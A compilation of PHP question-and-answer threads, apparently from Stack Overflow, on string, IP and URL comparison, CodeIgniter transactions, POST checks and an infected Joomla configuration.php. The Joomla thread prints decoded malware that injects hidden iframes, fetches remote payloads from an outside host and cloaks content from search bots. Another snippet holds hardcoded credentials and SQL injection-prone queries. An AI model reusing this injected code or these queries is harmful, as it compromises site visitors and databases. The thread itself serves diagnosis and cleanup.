String Comparison Not Returning True - php

I am trying to compare two strings "welford.me" & "welford.me", however, when I do $server ("welford.me") == $allowed ("welford.me") it does not return true. What on earth could be causing this? I've attached an image of the JSON response (which is false).
Here's the culprit:-
$server = parse_url($_SERVER['HTTP_ORIGIN'], PHP_URL_HOST);
$data = $result->fetch_assoc();
$allowed = explode(",", $data['api_allowed_domain']);
$found = false;
$Ajax->response['hm'] = array();
foreach($allowed as $xtld){
if($xtld == $server){
$found = true;
}else{
$hm = array($server => $xtld);
array_push($Ajax->response['hm'], $hm);
}
}
if($found){
return "true";
}else{
return "Domain / does not have permission to use this API key.";
}
$server = "welford.me" and "welford.me" is in the allowed domains listed in the database. All output is done upon destruction. Everything else works fine except this. Looks like $found is not being set to true.

Trimming both $xtld & $server seemed to work for me.
foreach($allowed as $xtld){
if(trim($xtld) == trim($server)){
$found = true;
}
}

Related

how to compare the first three octets of two Ip adresses contained in two PhP variables

I have two php variables which contains two ipv4 addresses, i need to compare the first three octets and return true if they match, and false if they don't. Help for writing a block of code is appreciated.
<?php
include('adodb/adodb.inc.php');
mysql_connect("173.86.45,9","abcd","1236");
mysql_select_db("vc");
$pl=mysql_query("SELECT stat_ip from Hasoffers");
$count=mysql_num_rows($pl);
while($row=mysql_fetch_array($pl))
{
$stat_ip=$row['stat_ip'];
echo sec($stat_ip)."<br>";
}
function sec($stat_ip)
{
$result = mysql_query("select stat_ip from Hasoffers where stat_ip ='".$stat_ip."'");
if(condition to check if the octets match)
{
//i need to write the condition if within the table Hasoffers, there are more than 2 'stat_ip'(column) values, having the same 3 octets.
printf("true");
}
else
{
printf("false, octets don't match");
}
return $num_rows;
}
?>
Simple way to implement this is:
$ip1 = '192.168.0.1';
$ip2 = '192.168.0.2';
$ip1 = explode('.', $ip1);
$ip2 = explode('.', $ip2);
if ($ip1[0]==$ip2[0] && $ip1[1]==$ip2[1] && $ip1[2]==$ip2[2]) {
//your code here
}
EDIT:
Try to replace your sec() function with this one(read the comments),and edit it.
function sec($stat_ip)
{
$octets = explode('.', $stat_ip);
$first_three = $octets[0].'.'.$octets[1].'.'.$octets[2].'.'; //this looks like 192.168.0.
$result = mysql_query("SELECT stat_ip from Hasoffers where stat_ip LIKE '".$first_three."%'"); //this gives you all ip's starting with the current ip
if (mysql_num_rows($result)>1)
{
//we have more than one ip starting with current ip
//do something here
}
else
{
//result returns 1 or 0 rows, no matching ip's
}
//return $something;
}
The solution using strrpos and substr functions:
$ip1 = '192.168.10.121';
$ip2 = '192.168.10.122';
// the position of the last octet separator
$last_dot_pos = strrpos($ip1, '.');
$is_matched = substr($ip1, 0, $last_dot_pos) == substr($ip2, 0, $last_dot_pos);
var_dump($is_matched);
The output:
bool(true)
Use this code:
$ipOne = "192.168.1.1";
$ipTwo = "192.168.1.2";
$ipOneParts = explode(".", $ipOne);
$ipTwoParts = explode(".", $ipTwo);
if(($ipOneParts[0] == $ipTwoParts[0]) &&
($ipOneParts[1] == $ipTwoParts[1]) &&
($ipOneParts[2] == $ipTwoParts[2])){
return true;
} else {
return false;
}
convert them into array using explode using "." and compare the first index of both array.

Cannot identify db errors in codeigniter transactions

so I have this code for my db transactions:
$to_return = true;
$this->db->trans_begin();
$this->insert_arrest_details($data);
$this->update_barangay($data['barangay_id']);
$this->insert_arresting_officers($data);
$folders = $this->insert_violators($data);
$this->insert_arrest_booking_form($data);
$this->insert_case_report($data);
$this->insert_seizing_officers($data['case_id'],json_decode($data['seizing_officers']));
$this->insert_items(json_decode($data['items']));
$this->insert_nitems(json_decode($data['nitems']));
$this->insert_violator_items(json_decode($data['items']));
$this->insert_violator_nitems(json_decode($data['nitems']));
if($this->db->trans_status() === FALSE){
$array['error_message'] = $this->db->_error_message();
$array['error_number'] = $this->db->_error_number();
$this->db->trans_rollback();
$to_return = $array;
}else{
$img_success = $this->move_violators_images($folders);
$img_success = $this->move_items_images($data['case_id']);
$img_success = 1;
if($img_success == 1){
$this->db->trans_commit();
}else{
$this->db->trans_rollback();
$to_return = false;
}
}
return $to_return;
My problem is, if the error (for example) occurs in $this->insert_arrest_details(); My code doesn't get the error. It returns something like this:
"error_message":"","error_number":0
But when I tried to run 1 method only and that method failed, my code was able to get the error. why is that so?
Your responses will be greatly appreciated.

Joomla back-end login page keeps coming back to login page with no error. configuration.php file is infected. How to manage?

Since a week i was trying to login to the back-end of my joomla 1.5 site. It simply keeps coming back to the login page without any error. When I took a look at the configuration.php file it appeared as a string encoded with following pattern:
<?php eval(base64_decode('string here';))) />
When i decoded it using an online service this is what it appears to be:
if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else {$out = #file_get_contents($url);} return trim($out); } function frm_crpt($in){ $il=strlen($in);$o=''; for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; return $o; } function frm_getcache($tmpdir,$link,$cmtime,$del=true){ $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link)); if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime) { $dlc=frm_dl($link); if($dlc===false){ if(del) #unlink($f); else #touch($f); } else { if($fp = #fopen($f,'w')){ fwrite($fp, frm_crpt($dlc)); fclose($fp); }else{return $dlc;} } } $fc = #file_get_contents($f); return ($fc)?frm_crpt($fc):''; } function frm_isbot($ua){ if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590), array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566), array(3481178113,3481182206),array(2915172353,2915237886)); foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true; if(!$ua)return true; $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider'); foreach ($bots as $b) if(strpos($ua, $b)!==false) return true; return false; } function frm_tmpdir(){ $fs = array('/tmp','/var/tmp'); foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) { if ($t = getenv($v)) {$fs[]=$t;} } if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();} $fs[]='.'; foreach ($fs as $f){ $tf = $f.'/'.md5(rand()); if($fp = #fopen($tf, 'w')){ fclose($fp); unlink($tf); return $f; } } return false; } function frm_seref(){ $r = #strtolower($_SERVER["HTTP_REFERER"]); $ses = array('google','bing','yahoo','ask','aol'); foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true; return false; } function frm_isuniq($tdir){ $ip=$_SERVER['REMOTE_ADDR']; $dbf=$tdir.'/sess_'.md5(date('m.d.y')); $odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400)); if (file_exists($odbf)) #unlink($odbf); if(strpos(frm_crpt(#file_get_contents($dbf)),$ip) === false ){ if ($fp=#fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);} return true; } return false; } $tdir = frm_tmpdir(); $defframe = '<style> .gtvvh { position:absolute; left:-760px; top:-927px; }</style><div class="gtvvh"><iframe src="http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.latest.js" width="477" height="435"></iframe></div>'; $defrdg='http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.js'; $codelink = 'http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.latest.js'; $rdglink='http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.js'; $ua=$_SERVER['HTTP_USER_AGENT']; $isb=frm_isbot($ua); if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){ error_reporting(0); if(!isset($_COOKIE['__utmfr'])) { if(!$codelink) print($defframe); else print(frm_getcache($tdir,$codelink,15)); #setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); } } //------- $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST'])); if($tdir && strlen($host)<100 && preg_match('/^[a-z0-9\-]+\.([a-z]{2,5}|[a-z]{2,3}\.[a-z]{2,3}|.*\.edu)$/', $host)){ $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3); $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0; $ruri = strtolower($_SERVER['REQUEST_URI']); if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){ print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*48,false)); exit(); } if ($isb) { error_reporting(0); print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*48,false)); } } //---------}
I checked other Joomla installations on my hosting space and see that all the configuration.php are the same.
What to do?
Please help
The only thing the the configuration.php file should have is defined variables. Nothing else. It could very well be that someone has hacked your site and messed around with files.
Change all passwords that are related to your website, including the hosting one.
Take a backup of your site via the cPanel and scan it with some antivirus software. Assuming there are no viruses detected, upgrade your site to the latest of the Joomla 2.5 series (2.5.14).
Then, remove the code you showed in your question from the configuration.php file and try logging back into the Joomla admin panel. If it works, ensure all your extensions are up to date and read this:
Joomla! 2.5.4 Hacked: Having trouble with diagnosis.
If not, then try resetting your super user password via the database:
http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
UPDATE:
It seems your whole configuration.php file has been attacked. I have provided you with the code for the file, however there are some blank spaces to be filled in. Anything that does need filling in, I have written next to it:
http://pastebin.com/gWWtCAJR
Let me know how it goes :)

check if given domain name present in set of urls php

I have an url whose format may be :
www.discover.com
http://discover.com
http://www.discover.com
http://www.abcd.discover.com
discover.com
And i have another url which may be any of below format:
www.discover.com/something/smoething
http://discover.com/something/smoething
http://www.discover.com/something/smoething
http://www.abcd.discover.com/something/smoething
discover.com/something/smoething
Now i want to compare this two urls to check whether domain name "discover.com" is present in the second url.
Am using below code :
$domain1 = str_ireplace('www.', '', parse_url($urlItem1, PHP_URL_HOST));
$domain2= str_ireplace('www.', '', parse_url($urlItem2, PHP_URL_HOST));
if(strstr($domain2, $domain1))
{
return $domain2;
}
Solution :
function url_comparison($url1, $url2) {
$domain1 = parse_url($url1,PHP_URL_HOST);
$domain2 = parse_url($url2,PHP_URL_HOST);
$domain1 = isset($domain1) ? str_ireplace('www.', '',$domain1) : str_ireplace('www.', '',$url1);
$domain2 = isset($domain2) ? str_ireplace('www.', '',$domain2) : str_ireplace('www.', '',$url2);
if(strstr($domain2, $domain1))
{
return true;
}
else
{
return false;
}
}
$url1 = "discover.com";
$url2 = "https://www.abcd.discover.com/credit-cards/resources/balance-transfer.shtml";
if(url_comparison($url1, $url2))
{
echo "Same Domain";
}
else
{
echo "Diffrent Domain";
}
Thanks.
Make use of the documentation, parse url
Then you should look at the hostname, and with use of strpos.
$url = parse_url('www.discover.com/something/smoething');
if (strpos($url['host'], 'discover.com') !== false) {
// do you thing
}
0 is also a valid value so the !== or === is needed
To check if two domain are equal you need to set some rules, because is www.example.com the same as example.com, and is https the same as http?
function url_comparison($url_1, $url_2, $www = false, $scheme = false) {
$url_part_1 = parse_url($url_1);
$url_part_2 = parse_url($url_2);
if ($scheme && $url_part_1['scheme'] !== $url_part_2['scheme']) {
return false;
}
if ($www && $url_part_1['host'] === $url_part_2['host']) {
return false;
} elseif(!$www && (strpos($url_part_1['host'], $url_part_2['host']) !== false || strpos($url_part_2['host'], $url_part_1['host']) !== false)) {
return false;
}
return true;
}
With the above function you should see the right direction, not tested so should be tweaked perhaps. The first 2 values should be an url. $www is a boolean if the 'www.' should be checked, and if $scheme = true also the https or http needs to be the same

I need a more efficient way of checking if multiple $_POST parameters isset

I have these variables, and I need to check if all of them isset(). I feel there has to be a more efficient way of checking them rather than one at a time.
$jdmMethod = $_POST['jdmMethod'];
$cmdMethod = $_POST['cmdMethod'];
$vbsMethod = $_POST['vbsMethod'];
$blankPage = $_POST['blankPage'];
$facebook = $_POST['facebook'];
$tinychat = $_POST['tinychat'];
$runescape = $_POST['runescape'];
$fileUrl = escapeshellcmd($_POST['fileUrl']);
$redirectUrl = escapeshellcmd($_POST['redirectUrl']);
$fileName = escapeshellcmd($_POST['fileName']);
$appData = $_POST['appData'];
$tempData = $_POST['tempData'];
$userProfile = $_POST['userProfile'];
$userName = $_POST['userName'];
Try this
$allOk = true;
$checkVars = array('param', 'param2', …);
foreach($checkVars as $checkVar) {
if(!isset($_POST[$checkVar]) OR !$_POST[$checkVar]) {
$allOk = false;
// break; // if you wish to break the loop
}
}
if(!$allOk) {
// error handling here
}
I like to use a function like this:
// $k is the key
// $d is a default value if it's not set
// $filter is a call back function name for filtering
function check_post($k, $d = false, $filter = false){
$v = array_key_exists($_POST[$k]) ? $_POST[$k] : $d;
return $filter !== false ? call_user_func($filter,$v) : $v;
}
$keys = array("jdmMethod", array("fileUrl", "escapeshellcmd"));
$values = array();
foreach($keys as $k){
if(is_array($k)){
$values[$k[0]] = check_post($k[0],false,$k[1]);
}else{
$values[$k] = check_post($k[0]);
}
}
You could extend the keys array to contain a different default value for each post-value if you wish.
EDIT:
If you want to make sure all of these have a non-default value you could do something like:
if(sizeof(array_filter($values)) == sizeof($keys)){
// Not all of the values are set
}
Something like this:
$jdmMethod = isset($_POST['jdmMethod']) ? $_POST['jdmMethod'] : NULL;
It's Ternary Operator.
I think this should work (not tested, from memory)
function handleEmpty($a, $b) {
if ($b === null) {
return false;
} else {
return true;
}
array_reduce($_POST, "handleEmpty");
Not really. You could make a list of expected fields:
$expected = array(
'jdmMethod',
'cmdMethod',
'fileName'
); // etc...
... then loop those and make sure all the keys are in place.
$valid = true;
foreach ($expected as $ex) {
if (!array_key_exists($ex, $_POST)) {
$valid = false;
break;
}
$_POST[$ex] = sanitize($_POST[$ex]);
}
if (!$valid) {
// handle the problem
}
If you can develop a generic sanitize function, that will help - you can just sanitize each as you loop.
Another thing I like to use is function that gives a default as it sanitizes.
function checkParam($key = false, $default = null, $type = false) {
if ($key === false)
return $default;
$found_option = null;
if (array_key_exists($key,$_REQUEST))
$found_option = $_REQUEST[$key];
if (is_null($found_option))
$found_option = $default;
if ($type !== false) {
if ($type == 'string' && !is_string($found_option))
return $default;
if ($type == 'numeric' && !is_numeric($found_option))
return $default;
if ($type == 'object' && !is_object($found_option))
return $default;
if ($type == 'array' && !is_array($found_option))
return $default;
}
return sanitize($found_option);
}
When a default is possible, you'd not want to do a loop, but rather check for each independently:
$facebook = checkParam('facebook', 'no-facebook', 'string);
It is not the answer you are looking for, but no.
You can create an array an loop through that array to check for a value, but it doesn't get any better than that.
Example:
$postValues = array("appData","tempData",... etc);
foreach($postedValues as $postedValue){
if(isset($_POST[$postedValue])){
...
}
}

Categories